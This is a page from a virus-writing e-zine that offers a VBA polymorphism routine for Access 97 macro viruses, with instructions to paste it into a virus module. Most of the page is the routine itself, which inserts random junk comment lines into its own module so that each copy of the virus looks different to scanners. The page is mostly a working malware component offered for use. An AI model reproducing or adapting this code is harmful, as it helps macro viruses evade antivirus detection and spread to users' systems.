- [Duke's Virus Labs #7] - [Page 20] -

ULTRAS ACCESS MACRO POLYMORPHIC
(c) by ULTRAS

This first polymorphic works on access97. Place this code in your macro virus
and make sure your code is written on each second line. Then Install one or
several on this functional and your virus works polymorphic. Replace "UAMP"
with the name of your macro virus module.

===== Cut here =====
Sub UAMP()

Dim MON, MoRL, MOL, a, b, c, d, e, Mutate

MON = Int(Rnd() * 33 + 1)

For mutate = 1 To MON

MoRL = Application.Modules.Item("UAMP").CountOfLines

MOL = Int(Rnd() * MoRL + 1)

a = Rnd * 255: b = Rnd * 333 : c = Rnd * 420: d = Rnd * 180: e = 370

Application.Modules.Item("UAMP").InsertLines MOL, vbTab & "' " & a & vbTab & b & vbTab & c & vbTab & d & vbTab & e

Next mutate

End Sub
===== Cut here =====